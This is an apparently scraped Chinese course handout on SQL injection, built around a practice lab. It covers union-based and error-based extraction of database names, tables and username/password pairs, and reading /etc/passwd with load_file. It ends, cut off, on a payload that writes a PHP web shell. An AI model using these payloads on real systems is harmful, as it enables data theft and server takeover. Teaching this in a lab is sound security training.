版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
项目8:SQL注入漏洞利用与防护项目目标知识目标:1.了解SQL注入漏洞的基本概念、危害,分类2.理解SQL注入漏洞的测试流程、测试字符串3.掌握数据库的基本操作4.掌握手工注入&工具注入5.掌握SQL注入漏洞的利用与加固能力目标:1.能利用SQL注入漏洞获取目标靶机数据情感目标:1.自主、开放的学习能力2.良好的自我表现、与人沟通能力3.良好的团队合作精神1.SQL注入漏洞概述1.1SQL注入漏洞及形成原因定义:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。原因:SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。1.SQL注入漏洞概述1.2SQL注入漏洞及形成原因Sql注入漏洞形成原因,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露。非法输入:id=1or1=1select*fromproductwhereid=1or1=1正常输入:id=1select*fromproductwhereid=11.SQL注入漏洞概述1.3SQL注入漏洞危害(1)数据库信息泄露:数据库中存放的用户的隐私信息的泄露(2)网页篡改:通过操作数据库对特定问也进行篡改(3)网站被挂马,传播恶意软件:修改数据库一些字段的值,进行挂马攻击。…….1.SQL注入漏洞概述1.4SQL注入攻击流程第一步:注入点探测
自动方式:使用web漏洞扫描工具,自动进行注入点发现
手动方式:手工构造sql注入语句进行注入点发现第二步:信息获取
通过注入点取期望得到的数据
环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
数据库信息:数据库名称,数据库表,表字段,字段内容第三步:获取权限
获取操作系统权限,通过数据库执行shell,上传木马1.SQL注入漏洞概述1.5SQL注入测试字符串or1=1--
'or1=1--
xx%’or1=1--“or1=1--)or1=1--')or1=1--")or1=1--"))or1=1--………..--可以用#替换,url提交过程中Url编码后的#为%231.SQL注入漏洞概述$conn=mysql_connect($host,$username,$password);$query=”select*fromuserswhereuser=’admin’andpasswd=’”;$query=$query.$_GET[“passwd”]”’”;$result=mysql_query($query);#######################################################################正常的数据:passwd=admin888、passwd=test123后台所执行的语句:Select*fromuserswhereuser=’admin’andpasswd=’admin888’–登陆成功Select*fromuserswhereuser=’admin’andpasswd=’test123’–登陆失败带有恶意代码的数据:passwd=’
or1=1#此时后台执行语句为:Select*fromuserswhereuser=’admin’andpasswd=‘admin’or1=1#’–登陆成功1.SQL注入漏洞概述1.6SQL注入漏洞位置(1)登陆框(2)搜索框(3)url参数值(4)信息设置只要是后台数据库操作的地方,都有可能有注入2.数据库基础2.1数据库概念数据库:长期储存在计算机内的,有组织的,可共享的数据集合。DMBS:如何组织和存储数据库中的数据,如何有效地获取和维护这些数据。完成这个任务的程序(软件)叫数据库管理系统(DataBaseManagementSystem:DMBS)DBMSDatabase程序数据库用户请求2.数据库基础2.2常用的数据库mysql,oracle,SQLServer等2.3常用的数据库结构库->表->字段,采用结构化查询语言(SQL)select
列名称1,列名称2
from表名称deletefrom表名称where
列名称=值update
表名称
set列名称=新值where列名称=某值insertinto表名(列1,列2,……)values(值1,值2,……)2.数据库基础2.2常用的数据库mysql,oracle,SQLServer等2.3常用的数据库结构库->表->字段,采用结构化查询语言(SQL)2.数据库基础2.4常用的数据库操作登录数据库:mysql–uroot–p****显示数据库:showdatabases;使用数据库:use数据库名;显示表名称:showtables;查看表的字段:desc表名称;select
列名称1,列名称2
from表名称查询数据库:selectdatabase();
查询用户:selectuser();查询版本:selectversion()deletefrom表名称where
列名称=值update
表名称
set列名称=新值where列名称=某值insertinto表名(列1,列2,……)values(值1,值2,……)3.SQL注入漏洞分类根据注入点类型不同,分为(1)整数型user_id=$id(2)字符型user_id=’$id’
(3)搜索型textlike“%{$_GET[‘search’]}%”(4)其他类型
不管是那种类型的注入的,总而言之,就是对sql中的各种类型的输入进行闭合测试,构造合法的sql,欺骗后台的执行。只要我们猜测后台的语句是怎么来拼接的,然后去构造闭合。4.union联合查询4.1union操作符union操作符:用于合并两个或多个select语句的结果集。在mysql数据库或其他关系型数据库里面都提供了这样的一个方法。4.2用法举例selectusername,passwordfromuserwhereid=1unionselect字段1,字段2from表名注意,union内部的每个select语句必须拥有相同数量的列。mysql>selectid,usernamefrommemberunionselectpw,email,idfrommemberwhereid=2;ERROR1222(21000):TheusedSELECTstatementshaveadifferentnumberofcolumns4.union联合查询4.1union操作符union操作符:用于合并两个或多个select语句的结果集。在mysql数据库或其他关系型数据库里面都提供了这样的一个方法。4.2用法举例selectusername,passwordfromuserwhereid=1unionselect字段1,字段2from表名注意,union内部的每个select语句必须拥有相同数量的列。mysql>selectid,usernamefrommemberunionselectpw,email,idfrommemberwhereid=2;ERROR1222(21000):TheusedSELECTstatementshaveadifferentnumberofcolumns4.union联合查询思考题当我们用union联合查询的时候,我们并不知道后台的数据库里面查询了几个字段,怎么解决这个问题?采用orderby语句4.union联合查询4.3
orderby(1)orderbyn对查询的结果进行排序,按照第n列进行排序,n数字是1-9,字母是a-z。(2)orderby语句用于根据指定的列对结果集进行排序。如果指定的列不存在,数据库会报错,通过报错判断查询结果的列数,从而确定主查询的字段数。mysql>selectid,usernamefrommemberorderby2;mysql>selectid,usernamefrommemberorderby3;ERROR1054(42S22):Unknowncolumn'3'in'orderclause'4.union联合查询4.4
获取数据库基础信息Step1:用orderby猜测获取几列数据Payload:xx’order
by
5#Step2:获取数据库基础信息Payload:kobe'unionselectdatabase(),user()#5.information_schema数据库5.1information_schema数据库在mysql中,自带的information_schema这个表里面存放了大量的重要信息。如果存在注入点的话,可以直接尝试对该数据库进行访问,从而获取更多的信息。(1)SCHEMATA表:提供了当前mysql实例中所有数据库的信息。showdatabases的结果取自此表。(2)TABLES表:提供了关于数据库中表的信息(包括视图),详细表述了某个表属于哪个schema,表类型,创建时间等信息。是showtablesfromschmename的结果取自此表。(3)COLUMNS表:提供了表中的列的信息,详细表述了某张表所有列以及每个列的信息,是Showcolumnsfromschemaname.tablename的结果取自此表。5.information_schema数据库1.获取表名mysql>selectid,emailfrommemberwhereusername='kobe'unionselecttable_schema,table_namefrominformation_schema.tableswheretable_schema='pikachu’;Payload:kobe'unionselecttable_schema,table_namefrominformation_schema.tableswheretable_schema='pikachu'#2.获取列名mysql>selectid,emailfrommemberwhereusername='kobe'unionselecttable_name,column_namefrominformation_schema.columnswheretable_name='users’;Payload:kobe'unionselecttable_name,column_namefrominformation_schema.columnswheretable_name='users'#3.获取内容mysql>selectid,emailfrommemberwhereusername='kobe'unionselectusername,passwordfromusers;Payload:kobe'unionselectusername,passwordfromusers#6.基于函数报错的信息获取6.1常用的报错函数updatexml(),extractvalue(),floor()在mysql中使用一些指定的函数来制造报错,从报错信息中获取设定的信息。Select、insert,update,delete都可以使用报错来获取信息。利用条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。6.报错函数6.1常用的报错函数updatexml():该函数是mysql对xml文档数据进行查询和修改的xpath函数。extractvalue():该函数也是mysql对xml文档数据进行查询的xpath函数floor():myql中用来取整的函数UPDATEXML(XML_document,XPath_string,new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称第二个参数:XPath_string(Xpath格式的字符串),对xml哪个地方需要更新,即指定一个位置,这个参数必须有效,否则会出错。第三个参数:new_value,String格式,替换查找到的符合条件的数据
eg:updatexml(1,version(),0)6.报错函数6.2利用报错函数获取信息(1)获取版本admin'andupdatexml(1,concat(0x7e,version()),0)#0x7e为~符号的16进制
admin'andupdatexml(1,version(),0)#(2)获取数据库admin'andupdatexml(1,concat(0x7e,database()),0)#(3)获取表名,出错admin'andupdatexml(1,concat(0x7e,(selecttable_namefrominformation_schema.tableswheretable_schema='pikachu')),0)#修改成下列的形式,limit0,1该函数的作用是从0位置开始取数据,步长位1admin'andupdatexml(1,concat(0x7e,(selecttable_namefrominformation_schema.tableswheretable_schema='pikachu'limit0,1)),0)#6.报错函数6.3insert,update,delete报错利用正常插入:mysql>insertintomember(username,pw,sex,phonenum,address,email)values('xx','123456','boy','1444','hefei','xx@’);Insert和updatepayload:xm'or
updatexml(1,concat(0x7e,database()),0)or‘6.报错函数6.3insert,update,delete报错利用deletpayload:1or
updatexml(1,concat(0x7e,database()),0)7.httpheader注入7.1httpheader注入这是sql注入的一种场景,有些时候,后台开发人员为了验证客户端信息,比如UA,cookie。或者通过httpheader头信息后去客户端的一些信息,比如ua,accept等字段。会对客户端的httpheader信息进行获取并使用sql进行处理,如果此时没有足够的安全考虑则可能,会产生httpheader注入。8.Sql注入读取与写入8.1读取文件Mysql通过
load_file()可以读取文件条件:1.文件必须在服务器上2.知道站点的物理路径3.Mysql用户必须拥有对此文件读取的权限4.Load_file()操作的目录是数据库的存储路径5.文件有一定的范围,默认是16M,通过max_allowed_packet配置最大为1G读取payloadzz'unionselect1,load_file('/etc/passwd')#8.Sql注入读取与写入8.2写文件mysql通过intooutfile文件写入到指定文件如select1,2intooutfile
“/var/www/html/1.php”前提条件:1.需要知道远程目录2.需要远程目录有写权限3.需要数据库开启了secure_file_priv8.Sql注入读取与写入在字符型注入框里输入,由于有2个字段,所有构造两个字段Payload:Kobe'unionselect"<?php@eval($_
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 高中地理2026教资面试全真模拟高频题考题
- 房地产外联课件
- 高中化学2026教资面试专项考题题库及答案
- 小学英语2026教资面试全真模拟答辩
- 常见颈部肿块的护理
- 房地产经纪人培训课件
- 房地产分析课件
- 防冻安全教案课件
- 分层应用课件
- 2026年汽车维修工知识题库(附答案)
- 2026北京市朝阳区卫生健康委员会所属事业单位第二批招聘241人笔试备考题库及答案解析
- 2026粉末冶金开发高速钢刀片脱模剂适用性分析报告
- 三角函数压轴题专项训练-2026年高考数学 含答案
- 2026年辽宁省公安厅招聘警务辅助人员笔试试题(含答案)
- 24J113-1 内隔墙-轻质条板(一)
- 医院收款室安全生产制度
- 医院环境感染监测制度
- 心脏的结构小学生课件
- 矩阵论知到智慧树期末考试答案题库2025年哈尔滨工程大学
- T/BJHWXH 002-2024路用低氯低钠融雪剂
- 人体发育学 第八章 婴幼儿期言语功能的发育
评论
0/150
提交评论